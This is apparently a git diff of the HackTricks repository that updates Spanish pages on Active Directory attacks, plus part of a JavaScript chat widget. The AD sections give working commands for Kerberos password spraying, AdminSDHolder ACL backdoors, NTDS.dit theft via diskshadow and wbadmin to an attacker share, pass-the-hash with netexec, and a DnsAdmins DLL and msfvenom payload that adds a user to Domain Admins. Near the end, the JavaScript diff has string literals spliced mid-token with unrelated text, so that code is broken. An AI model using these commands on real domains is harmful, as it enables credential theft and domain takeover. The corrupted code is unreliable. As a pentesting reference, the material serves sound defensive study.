### Kerberos pre-auth spraying con LDAP targeting y PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying reduce el ruido frente a intentos SMB/NTLM/LDAP bind y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina targeting impulsado por LDAP, un motor de patrones y awareness de políticas (política de dominio + PSOs + buffer badPwdCount) para sprayar de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound.
|
||||
Kerberos pre-auth–based spraying reduce el ruido frente a intentos de bind SMB/NTLM/LDAP y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina LDAP-driven targeting, un motor de patrones y awareness de políticas (domain policy + PSOs + buffer de badPwdCount) para realizar spraying de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para pathing en BloodHound.
|
||||
|
||||
Ideas clave:
|
||||
Key ideas:
|
||||
- Descubrimiento de usuarios LDAP con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
|
||||
- Política de bloqueo de dominio + filtrado consciente de PSO para dejar un buffer configurable de intentos (umbral) y evitar bloquear usuarios.
|
||||
- Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en vez de 4625).
|
||||
- Política de bloqueo de dominio + filtrado consciente de PSO para dejar un búfer configurable de intentos (umbral) y evitar bloquear usuarios.
|
||||
- Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en lugar de 4625).
|
||||
- Generación de contraseñas por usuario basada en patrones usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
|
||||
- Control de throughput con threads, jitter y max requests por segundo.
|
||||
- Integración opcional con Neo4j para marcar usuarios propios para BloodHound.
|
||||
- Control de throughput con threads, jitter y un máximo de requests por segundo.
|
||||
- Integración opcional con Neo4j para marcar owned users para BloodHound.
|
||||
|
||||
Uso básico y descubrimiento:
|
||||
Basic usage and discovery:
|
||||
```bash
|
||||
# List available pattern variables
|
||||
spearspray -l
|
||||
@ -161,7 +176,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||
```
|
||||
Neo4j/BloodHound enriquecimiento:
|
||||
Enriquecimiento de Neo4j/BloodHound:
|
||||
```bash
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||
```
|
||||
@ -174,17 +189,17 @@ Descripción general del sistema de patrones (patterns.txt):
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Variables disponibles incluyen:
|
||||
Available variables include:
|
||||
- {name}, {samaccountname}
|
||||
- Valores temporales de pwdLastSet (o whenCreated) de cada usuario: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Ayudantes de composición y token de la organización: {separator}, {suffix}, {extra}
|
||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||
|
||||
Notas operativas:
|
||||
- Prefiere consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la info relacionada con la política.
|
||||
- Los reinicios de badPwdCount se activan en el siguiente intento después de la ventana de observación; usa umbrales y temporización para mantenerte seguro.
|
||||
- Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para mimetizarte.
|
||||
- Prefiere consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la información relacionada con la política.
|
||||
- Los restablecimientos de badPwdCount se activan en el siguiente intento tras la ventana de observación; usa umbrales y temporización para mantenerte seguro.
|
||||
- Los intentos de pre-autenticación Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para mimetizarte.
|
||||
|
||||
> Consejo: SpearSpray’s default LDAP page size is 200; ajusta con -lps según sea necesario.
|
||||
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
@ -192,11 +207,11 @@ Hay múltiples herramientas para p**assword spraying outlook**.
|
||||
|
||||
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- Con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Con [Ruler](https://github.com/sensepost/ruler) (¡confiable!)
|
||||
- Con [Ruler](https://github.com/sensepost/ruler) (¡fiable!)
|
||||
- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para password spraying.
|
||||
Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para realizar password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -227,6 +242,7 @@ Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y un
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,28 @@
|
||||
# Grupos Privilegiados
|
||||
# Grupos privilegiados
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grupos Bien Conocidos con Privilegios de Administración
|
||||
## Grupos bien conocidos con privilegios de administración
|
||||
|
||||
- **Administradores**
|
||||
- **Administradores de Dominio**
|
||||
- **Administradores de Empresa**
|
||||
- **Administrators**
|
||||
- **Domain Admins**
|
||||
- **Enterprise Admins**
|
||||
|
||||
## Operadores de Cuenta
|
||||
## Account Operators
|
||||
|
||||
Este grupo tiene la capacidad de crear cuentas y grupos que no son administradores en el dominio. Además, permite el inicio de sesión local en el Controlador de Dominio (DC).
|
||||
Este grupo tiene facultad para crear cuentas y grupos que no son administradores en el dominio. Además, permite el inicio de sesión local en el Controlador de Dominio (DC).
|
||||
|
||||
Para identificar a los miembros de este grupo, se ejecuta el siguiente comando:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Agregar nuevos usuarios está permitido, así como el inicio de sesión local en DC01.
|
||||
Se permite agregar nuevos usuarios, así como el inicio de sesión local en el DC.
|
||||
|
||||
## Grupo AdminSDHolder
|
||||
## Grupo **AdminSDHolder**
|
||||
|
||||
La lista de control de acceso (ACL) del grupo **AdminSDHolder** es crucial, ya que establece permisos para todos los "grupos protegidos" dentro de Active Directory, incluidos los grupos de alto privilegio. Este mecanismo garantiza la seguridad de estos grupos al prevenir modificaciones no autorizadas.
|
||||
La Access Control List (ACL) del grupo **AdminSDHolder** es crucial, ya que establece los permisos para todos los "grupos protegidos" dentro de Active Directory, incluidos los grupos de alto privilegio. Este mecanismo asegura la protección de estos grupos evitando modificaciones no autorizadas.
|
||||
|
||||
Un atacante podría explotar esto modificando la ACL del grupo **AdminSDHolder**, otorgando permisos completos a un usuario estándar. Esto le daría efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario se alteran o eliminan, se restablecerían automáticamente dentro de una hora debido al diseño del sistema.
|
||||
Un atacante podría explotar esto modificando la ACL del grupo **AdminSDHolder**, concediendo permisos completos a un usuario estándar. Esto daría efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de ese usuario se modificaran o eliminaran, se restablecerían automáticamente en el plazo de una hora debido al diseño del sistema.
|
||||
|
||||
Los comandos para revisar los miembros y modificar permisos incluyen:
|
||||
```bash
|
||||
@ -30,23 +30,23 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||
```
|
||||
Un script está disponible para acelerar el proceso de restauración: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
Un script está disponible para agilizar el proceso de restauración: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
|
||||
Para más detalles, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
|
||||
## Papelera de reciclaje de AD
|
||||
## AD Recycle Bin
|
||||
|
||||
La membresía en este grupo permite la lectura de objetos de Active Directory eliminados, lo que puede revelar información sensible:
|
||||
La pertenencia a este grupo permite la lectura de objetos de Active Directory eliminados, lo que puede revelar información sensible:
|
||||
```bash
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### Acceso al Controlador de Dominio
|
||||
|
||||
El acceso a los archivos en el DC está restringido a menos que el usuario sea parte del grupo `Server Operators`, lo que cambia el nivel de acceso.
|
||||
El acceso a los archivos en el DC está restringido a menos que el usuario forme parte del grupo `Server Operators`, lo que cambia el nivel de acceso.
|
||||
|
||||
### Escalamiento de Privilegios
|
||||
### Escalada de privilegios
|
||||
|
||||
Usando `PsService` o `sc` de Sysinternals, se puede inspeccionar y modificar los permisos de los servicios. El grupo `Server Operators`, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecución de comandos arbitrarios y el escalamiento de privilegios:
|
||||
Usando `PsService` o `sc` de Sysinternals, se pueden inspeccionar y modificar los permisos de los servicios. El grupo `Server Operators`, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecución de comandos arbitrarios y la escalada de privilegios:
|
||||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
@ -54,17 +54,17 @@ Este comando revela que `Server Operators` tienen acceso completo, lo que permit
|
||||
|
||||
## Backup Operators
|
||||
|
||||
La membresía en el grupo `Backup Operators` proporciona acceso al sistema de archivos de `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten la navegación por carpetas, la enumeración y la capacidad de copiar archivos, incluso sin permisos explícitos, utilizando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso.
|
||||
La pertenencia al grupo `Backup Operators` proporciona acceso al sistema de archivos `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten el recorrido de directorios, el listado y la capacidad de copiar archivos, incluso sin permisos explícitos, usando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso.
|
||||
|
||||
Para listar los miembros del grupo, ejecute:
|
||||
Para listar los miembros del grupo, ejecuta:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Ataque Local
|
||||
### Ataque local
|
||||
|
||||
Para aprovechar estos privilegios localmente, se emplean los siguientes pasos:
|
||||
|
||||
1. Importar las bibliotecas necesarias:
|
||||
1. Importar las librerías necesarias:
|
||||
```bash
|
||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
3. Acceder y copiar archivos de directorios restringidos, por ejemplo:
|
||||
3. Acceder y copiar archivos desde directorios restringidos, por ejemplo:
|
||||
```bash
|
||||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
```
|
||||
### AD Attack
|
||||
|
||||
El acceso directo al sistema de archivos del Controlador de Dominio permite el robo de la base de datos `NTDS.dit`, que contiene todos los hashes NTLM para usuarios y computadoras del dominio.
|
||||
El acceso directo al sistema de archivos del controlador de dominio permite el robo de la base de datos `NTDS.dit`, que contiene todos los hashes NTLM de los usuarios y equipos del dominio.
|
||||
|
||||
#### Using diskshadow.exe
|
||||
|
||||
1. Create a shadow copy of the `C` drive:
|
||||
1. Crear una shadow copy del disco `C`:
|
||||
```cmd
|
||||
diskshadow.exe
|
||||
set verbose on
|
||||
@ -98,7 +98,7 @@ expose %cdrive% F:
|
||||
end backup
|
||||
exit
|
||||
```
|
||||
2. Copia `NTDS.dit` de la copia de sombra:
|
||||
2. Copiar `NTDS.dit` desde la shadow copy:
|
||||
```cmd
|
||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||
```
|
||||
@ -115,10 +115,18 @@ reg save HKLM\SAM SAM.SAV
|
||||
```shell-session
|
||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||
```
|
||||
5. Después de la extracción: Pass-the-Hash a DA
|
||||
```bash
|
||||
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||
|
||||
# Or execute via SMB using an exec method
|
||||
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||
```
|
||||
#### Usando wbadmin.exe
|
||||
|
||||
1. Configura el sistema de archivos NTFS para el servidor SMB en la máquina del atacante y almacena en caché las credenciales SMB en la máquina objetivo.
|
||||
2. Usa `wbadmin.exe` para la copia de seguridad del sistema y la extracción de `NTDS.dit`:
|
||||
1. Configura un sistema de archivos NTFS para el servidor SMB en la máquina atacante y almacena en caché las credenciales SMB en la máquina objetivo.
|
||||
2. Usa `wbadmin.exe` para el respaldo del sistema y la extracción de `NTDS.dit`:
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||
@ -126,23 +134,29 @@ wbadmin get versions
|
||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||
```
|
||||
|
||||
Para una demostración práctica, consulta [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
Para una demostración práctica, ver [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
|
||||
## DnsAdmins
|
||||
|
||||
Los miembros del grupo **DnsAdmins** pueden explotar sus privilegios para cargar un DLL arbitrario con privilegios de SYSTEM en un servidor DNS, a menudo alojado en Controladores de Dominio. Esta capacidad permite un potencial de explotación significativo.
|
||||
Los miembros del grupo **DnsAdmins** pueden explotar sus privilegios para cargar una DLL arbitraria con privilegios SYSTEM en un servidor DNS, que a menudo se aloja en controladores de dominio. Esta capacidad permite un potencial de explotación significativo.
|
||||
|
||||
Para listar los miembros del grupo DnsAdmins, usa:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Ejecutar DLL arbitraria
|
||||
### Execute arbitrary DLL (CVE‑2021‑40469)
|
||||
|
||||
Los miembros pueden hacer que el servidor DNS cargue una DLL arbitraria (ya sea localmente o desde un recurso compartido remoto) utilizando comandos como:
|
||||
> [!NOTE]
|
||||
> Esta vulnerabilidad permite la ejecución de código arbitrario con privilegios SYSTEM en el servicio DNS (generalmente dentro de los DCs). Este problema se solucionó en 2021.
|
||||
|
||||
Los miembros pueden hacer que el servidor DNS cargue una DLL arbitraria (ya sea localmente o desde un recurso compartido remoto) usando comandos como:
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
|
||||
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||
```
|
||||
|
||||
```c
|
||||
@ -158,7 +172,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
||||
// Generate DLL with msfvenom
|
||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||
```
|
||||
Reiniciar el servicio DNS (lo que puede requerir permisos adicionales) es necesario para que se cargue el DLL:
|
||||
Reiniciar el servicio DNS (lo que puede requerir permisos adicionales) es necesario para que la DLL se cargue:
|
||||
```csharp
|
||||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
@ -167,77 +181,81 @@ Para más detalles sobre este vector de ataque, consulta ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
|
||||
También es factible usar mimilib.dll para la ejecución de comandos, modificándolo para ejecutar comandos específicos o shells reversos. [Consulta esta publicación](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) para más información.
|
||||
También es factible usar mimilib.dll para la ejecución de comandos, modificándola para ejecutar comandos específicos o reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||
|
||||
### Registro WPAD para MitM
|
||||
|
||||
DnsAdmins pueden manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) creando un registro WPAD después de deshabilitar la lista de bloqueo de consultas global. Herramientas como Responder o Inveigh se pueden usar para suplantar y capturar tráfico de red.
|
||||
DnsAdmins puede manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) creando un registro WPAD después de deshabilitar la lista global de bloqueo de consultas. Herramientas como Responder o Inveigh pueden usarse para spoofing y para capturar tráfico de red.
|
||||
|
||||
### Lectores de Registros de Eventos
|
||||
Los miembros pueden acceder a los registros de eventos, encontrando potencialmente información sensible como contraseñas en texto plano o detalles de ejecución de comandos:
|
||||
### Event Log Readers
|
||||
Los miembros pueden acceder a los registros de eventos, potencialmente encontrando información sensible como contraseñas en texto plano o detalles de la ejecución de comandos:
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Permisos de Windows de Exchange
|
||||
## Exchange Windows Permissions
|
||||
|
||||
Este grupo puede modificar DACLs en el objeto de dominio, lo que podría otorgar privilegios de DCSync. Las técnicas para la escalada de privilegios que explotan este grupo se detallan en el repositorio de GitHub Exchange-AD-Privesc.
|
||||
Este grupo puede modificar las DACLs en el objeto de dominio, potencialmente concediendo privilegios DCSync. Técnicas para privilege escalation que explotan este grupo están detalladas en el repositorio Exchange-AD-Privesc de GitHub.
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Administradores de Hyper-V
|
||||
## Hyper-V Administrators
|
||||
|
||||
Los Administradores de Hyper-V tienen acceso completo a Hyper-V, lo que puede ser explotado para obtener control sobre Controladores de Dominio virtualizados. Esto incluye clonar DCs en vivo y extraer hashes NTLM del archivo NTDS.dit.
|
||||
Los Hyper-V Administrators tienen acceso total a Hyper-V, lo que puede explotarse para obtener control sobre Domain Controllers virtualizados. Esto incluye clonar DCs en vivo y extraer NTLM hashes del archivo NTDS.dit.
|
||||
|
||||
### Ejemplo de Explotación
|
||||
### Exploitation Example
|
||||
|
||||
El Servicio de Mantenimiento de Mozilla de Firefox puede ser explotado por los Administradores de Hyper-V para ejecutar comandos como SYSTEM. Esto implica crear un enlace duro a un archivo protegido del SYSTEM y reemplazarlo con un ejecutable malicioso:
|
||||
El Mozilla Maintenance Service de Firefox puede ser explotado por Hyper-V Administrators para ejecutar comandos como SYSTEM. Esto implica crear un hard link a un archivo protegido de SYSTEM y reemplazarlo con un ejecutable malicioso:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
Nota: La explotación de enlaces duros ha sido mitigada en las actualizaciones recientes de Windows.
|
||||
Nota: Hard link exploitation ha sido mitigado en actualizaciones recientes de Windows.
|
||||
|
||||
## Organización de la Gestión
|
||||
## Group Policy Creators Owners
|
||||
|
||||
En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organización de Gestión** posee capacidades significativas. Este grupo tiene privilegios para **acceder a los buzones de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Grupos de Seguridad de Microsoft Exchange'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para la escalación de privilegios.
|
||||
Este grupo permite a sus miembros crear Group Policies en el dominio. Sin embargo, sus miembros no pueden aplicar Group Policies a usuarios o grupos ni editar GPOs existentes.
|
||||
|
||||
### Explotación de Privilegios y Comandos
|
||||
## Organization Management
|
||||
|
||||
#### Operadores de Impresión
|
||||
En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organization Management** posee capacidades importantes. Este grupo tiene privilegios para **acceder a los buzones de correo de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Microsoft Exchange Security Groups'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para privilege escalation.
|
||||
|
||||
Los miembros del grupo **Operadores de Impresión** están dotados de varios privilegios, incluyendo el **`SeLoadDriverPrivilege`**, que les permite **iniciar sesión localmente en un Controlador de Dominio**, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si **`SeLoadDriverPrivilege`** no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC).
|
||||
### Privilege Exploitation and Commands
|
||||
|
||||
#### Print Operators
|
||||
|
||||
Los miembros del grupo **Print Operators** cuentan con varios privilegios, incluido **`SeLoadDriverPrivilege`**, que les permite iniciar sesión localmente en un Domain Controller, apagarlo y administrar impresoras. Para explotar estos privilegios, especialmente si **`SeLoadDriverPrivilege`** no es visible en un contexto sin elevación, es necesario eludir User Account Control (UAC).
|
||||
|
||||
Para listar los miembros de este grupo, se utiliza el siguiente comando de PowerShell:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Para obtener técnicas de explotación más detalladas relacionadas con **`SeLoadDriverPrivilege`**, se deben consultar recursos de seguridad específicos.
|
||||
Para obtener técnicas de explotación más detalladas relacionadas con **`SeLoadDriverPrivilege`**, consulte recursos de seguridad específicos.
|
||||
|
||||
#### Usuarios de Escritorio Remoto
|
||||
#### Remote Desktop Users
|
||||
|
||||
A los miembros de este grupo se les concede acceso a PCs a través del Protocolo de Escritorio Remoto (RDP). Para enumerar a estos miembros, están disponibles comandos de PowerShell:
|
||||
Los miembros de este grupo tienen acceso a equipos mediante el Protocolo de Escritorio Remoto (RDP). Para enumerar a estos miembros, están disponibles comandos de PowerShell:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
Más información sobre la explotación de RDP se puede encontrar en recursos dedicados de pentesting.
|
||||
Más información sobre la explotación de RDP puede encontrarse en recursos dedicados de pentesting.
|
||||
|
||||
#### Usuarios de Gestión Remota
|
||||
#### Remote Management Users
|
||||
|
||||
Los miembros pueden acceder a PCs a través de **Windows Remote Management (WinRM)**. La enumeración de estos miembros se logra a través de:
|
||||
Los miembros pueden acceder a PCs a través de **Windows Remote Management (WinRM)**. La enumeración de estos miembros se realiza mediante:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
Para las técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica.
|
||||
Para técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica.
|
||||
|
||||
#### Operadores de Servidor
|
||||
|
||||
Este grupo tiene permisos para realizar varias configuraciones en los Controladores de Dominio, incluyendo privilegios de respaldo y restauración, cambio de hora del sistema y apagado del sistema. Para enumerar los miembros, el comando proporcionado es:
|
||||
Este grupo tiene permisos para realizar varias configuraciones en los controladores de dominio, incluidos privilegios de copia de seguridad y restauración, cambiar la hora del sistema y apagar el sistema. Para enumerar los miembros, el comando proporcionado es:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
* ❶ Markdown rendering + sanitised (same as before)
|
||||
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
@ -13,7 +16,20 @@
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||
<div id="ht-ai-header">
|
||||
<strong>HackTricks AI Chat</strong>
|
||||
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||
<div class="ht-actions">
|
||||
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||
<span id="ht-ai-close" title="Close">✖</span>
|
||||
</div>
|
||||
</div>
|
||||
<div id="ht-ai-chat"></div>
|
||||
<div id="ht-ai-input">
|
||||
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||
<button id="ht-ai-send">Send</button>
|
||||
</div>`;tag), { style: css });
|
||||
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
@ -111,7 +127,7 @@
|
||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||
const MAX_QUESTION = 500; // question char limit
|
||||
const MIN_W = 250; // ← resize limits →
|
||||
const MAX_W = 600;
|
||||
const MAX_W = 800;
|
||||
const DEF_W = 350; // default width (if nothing saved)
|
||||
const TOOLTIP_TEXT =
|
||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||
@ -345,8 +361,9 @@
|
||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||
#ht-ai-panel.open{transform:translateX(0)}
|
||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||
#ht-ai-header strong{flex-shrink:0}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||
